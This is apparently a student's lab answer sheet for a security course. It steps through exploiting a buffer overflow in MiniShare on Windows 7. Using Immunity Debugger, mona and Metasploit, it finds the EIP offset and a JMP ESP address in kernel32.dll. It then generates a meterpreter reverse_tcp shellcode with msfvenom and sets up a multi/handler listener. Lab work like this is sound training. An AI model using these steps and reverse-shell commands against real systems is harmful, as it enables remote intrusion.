Week 6 Lab 6 Minishare for Win  
CIS 450  
Krutarth Panchal

## Section 1: Minishare and Immunity

1. What registry key turns off rebasing on Windows 7?

A screenshot of a computer

Description automatically generated

[HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management]

"MoveImages"=dword:00000000

2. What is the default install location for Minishare?

“C:\Program Files\Minishare”

3. What are the two ways to import MiniShare into the Immunity Debugger program?

* 1. From the Immunity Debugger File\Open menu option.
  2. From the Immunity Debugger File\Attach menu option if the MiniShare application is currently running.

4. What are the four windows panes in the Immunity Debugger main windows?  
A computer screen shot of a black screen

Description automatically generated  
Top left is CPU instructions Top right is Register information

Lower left is Memory dump and Tower right is Stack dump

## Section 2: Proof of concept code

1. Where can you find the vulnerability for Minishare?

A screenshot of a computer

Description automatically generated

<https://www.exploit-db.com/exploits/636>

you can find the code there

2. What is the HTTP string needed to reproduce the buffer overflow against Minishare?

A computer code with text

Description automatically generated with medium confidence

On the line: *write(x, “ HTTP/1.1\r\n\r\n”,13);*

3. What information is needed in the proof of concept code?

A screenshot of a computer program

Description automatically generated

The code needs to to re written for the Python scripting for Proof of concept code.

4. How many A’s are needed to overwrite EIP?

A screenshot of a computer

Description automatically generated

Proof-of-concept code was successful in triggering an access violation in the MiniShare program and that stack contains many letter As

## Section 3: Finding JMP ESP

1. What commands will show you the loaded executable modules?

A screenshot of a computer

Description automatically generated

!mona modules

2. What character should we avoid since it is considered a string in C programming?

“\x00”

3. What command can you run to show the JMP ESP memory address in kernal32.dll?  
A screenshot of a computer screen

Description automatically generated

!mona find -s “\xff\xe4” -m kernel32.dll

## Section 4: Finding EIP Offset and Controlling EIP

1. What command will create a unique pattern of 2220 bytes?

# cd /usr/share/metasploit-framework/tools/exploit

./pattern\_create.rb -l 2220

2. Where would you add the pattern to your Proof of Concept?

A screenshot of a computer

Description automatically generated

Unique pattern is inserted after the “Get ” request for the HTTP request.

3. What pattern did you see in the EIP?

A screenshot of a computer program

Description automatically generated

EIP address that was identified by the previous exploit test, the address is 0x36684335.

4. What command will you find the offset using the pattern from EIP?

opt/metasploit-framework/embedded/framework/tools/exploit$ ./pattern\_offset.rb -q 36684335

5. What would you add to your Proof of Concept to test our new-found pattern?

Buffer was updated to have:

• 1787 bytes of NOP data

• 4 bytes of the character “A”

• Additional buffer padding data after the EIP test data

• Additional buffer padding data to get the ESP address, and to keep the buffer consistently at 2200 bytes.

6. What variable would you change in your proof-of-concept code to test we have placed our JMP ESP address into the EIP?

Old Line: buffer += “\x41\x41\x41\x41”

New Line: buffer += “\x1d\xff\xe4\x77”

A computer screen with colorful text

Description automatically generated

Above screenshot displays that the EIP has been successfully manipulated to target the

kernel32.dll file.

## Section 5: Shellcode and Throwing the Exploit

1. What command will create a meterpreter reverse tcp shell identifying bad characters \x00\x0a\x0d?

opt/metasploit-framework/embedded/framework/tools/exploit$ msfvenom -p windows/meterpreter/reverse\_tcp -b ‘\x00\x0a\x0d’

LHOST=IP.Addr LPORT=443 -f c

2. What command would you use to access msf?

service postgresql start && msfconsole -q

3. What modules would you use to set up a reverse handler?

use exploit/multi/handler

set payload windows/meterpreter/reverse\_tcp set LHOST 192.168.1.31

set LPORT 443

run

-------------------------------------------End of Lab------------------------------------------------------